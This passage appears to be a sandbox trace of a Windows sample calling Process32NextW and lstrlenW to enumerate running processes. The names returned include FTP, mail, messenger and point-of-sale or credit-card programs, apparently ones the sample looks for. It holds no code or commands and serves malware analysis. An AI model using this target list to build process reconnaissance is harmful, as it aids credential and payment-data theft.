(lpString="explorer.exe") returned 12 [0055.635] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.635] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.635] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.636] lstrlenW (lpString="taskhost.exe") returned 12 [0055.636] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.637] lstrlenW (lpString="svchost.exe") returned 11 [0055.637] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.637] lstrlenW (lpString="taskeng.exe") returned 11 [0055.637] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.638] lstrlenW (lpString="taskhost.exe") returned 12 [0055.638] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.639] lstrlenW (lpString="svchost.exe") returned 11 [0055.639] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0055.639] lstrlenW (lpString="sppsvc.exe") returned 10 [0055.639] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.640] lstrlenW (lpString="svchost.exe") returned 11 [0055.640] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0055.640] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0055.641] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0055.641] lstrlenW (lpString="smsvhskate.exe") returned 14 [0055.641] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0055.642] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0055.642] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0055.642] lstrlenW (lpString="patient latin.exe") returned 17 [0055.643] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0055.643] lstrlenW (lpString="barbados.exe") returned 12 [0055.643] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0055.644] lstrlenW (lpString="otthose.exe") returned 11 [0055.644] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0055.644] lstrlenW (lpString="suburban.exe") returned 12 [0055.644] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0055.645] lstrlenW (lpString="examination.exe") returned 15 [0055.645] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0055.646] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0055.646] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0055.646] lstrlenW (lpString="madrid.exe") returned 10 [0055.646] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0055.647] lstrlenW (lpString="measurerush.exe") returned 15 [0055.647] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0055.647] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0055.647] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0056.119] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0056.119] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0056.119] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0056.119] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0056.120] lstrlenW (lpString="jessefun.exe") returned 12 [0056.120] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0056.121] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0056.121] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0056.121] lstrlenW (lpString="sellers.exe") returned 11 [0056.122] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0056.122] lstrlenW (lpString="gras hair.exe") returned 13 [0056.122] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0056.123] lstrlenW (lpString="acquisitions.exe") returned 16 [0056.123] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0056.124] lstrlenW (lpString="starscondos.exe") returned 15 [0056.124] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0056.124] lstrlenW (lpString="3dftp.exe") returned 9 [0056.124] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0056.125] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0056.125] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0056.126] lstrlenW (lpString="alftp.exe") returned 9 [0056.126] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0056.126] lstrlenW (lpString="barca.exe") returned 9 [0056.127] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0056.127] lstrlenW (lpString="bitkinex.exe") returned 12 [0056.127] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0056.128] lstrlenW (lpString="coreftp.exe") returned 11 [0056.128] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0056.129] lstrlenW (lpString="far.exe") returned 7 [0056.129] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0056.129] lstrlenW (lpString="filezilla.exe") returned 13 [0056.129] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0056.130] lstrlenW (lpString="flashfxp.exe") returned 12 [0056.130] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0056.131] lstrlenW (lpString="fling.exe") returned 9 [0056.131] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0056.132] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0056.132] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0056.134] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0056.134] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0056.135] lstrlenW (lpString="icq.exe") returned 7 [0056.135] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0056.136] lstrlenW (lpString="leechftp.exe") returned 12 [0056.136] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0056.137] lstrlenW (lpString="ncftp.exe") returned 9 [0056.137] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0056.138] lstrlenW (lpString="notepad.exe") returned 11 [0056.138] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0056.139] lstrlenW (lpString="operamail.exe") returned 13 [0056.139] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0056.140] lstrlenW (lpString="pidgin.exe") returned 10 [0056.140] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0056.141] lstrlenW (lpString="scriptftp.exe") returned 13 [0056.141] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0056.142] lstrlenW (lpString="skype.exe") returned 9 [0056.142] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0056.143] lstrlenW (lpString="smartftp.exe") returned 12 [0056.143] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0056.144] lstrlenW (lpString="thunderbird.exe") returned 15 [0056.144] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0056.145] lstrlenW (lpString="totalcmd.exe") returned 12 [0056.145] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0056.146] lstrlenW (lpString="trillian.exe") returned 12 [0056.147] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0056.148] lstrlenW (lpString="webdrive.exe") returned 12 [0056.148] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0056.149] lstrlenW (lpString="whatsapp.exe") returned 12 [0056.149] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0056.150] lstrlenW (lpString="winscp.exe") returned 10 [0056.150] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0056.151] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0056.151] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0056.152] lstrlenW (lpString="active-charge.exe") returned 17 [0056.152] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0056.153] lstrlenW (lpString="accupos.exe") returned 11 [0056.153] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0056.154] lstrlenW (lpString="afr38.exe") returned 9 [0056.154] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0056.155] lstrlenW (lpString="aldelo.exe") returned 10 [0056.155] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0056.156] lstrlenW (lpString="ccv_server.exe") returned 14 [0056.156] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0056.157] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0056.157] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0056.157] lstrlenW (lpString="creditservice.exe") returned 17 [0056.157] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0056.158] lstrlenW (lpString="edcsvr.exe") returned 10 [0056.158] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0056.159] lstrlenW (lpString="fpos.exe") returned 8 [0056.159] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0056.160] lstrlenW (lpString="isspos.exe") returned 10 [0056.160] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0056.161] lstrlenW (lpString="mxslipstream.exe") returned 16 [0056.161] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0056.162] lstrlenW (lpString="omnipos.exe") returned 11 [0056.162] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0056.244] lstrlenW (lpString="spcwin.exe") returned 10 [0056.244] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0056.245] lstrlenW (lpString="spgagentservice.exe") returned 19 [0056.245] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0056.246] lstrlenW (lpString="utg2.exe") returned 8 [0056.246] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: 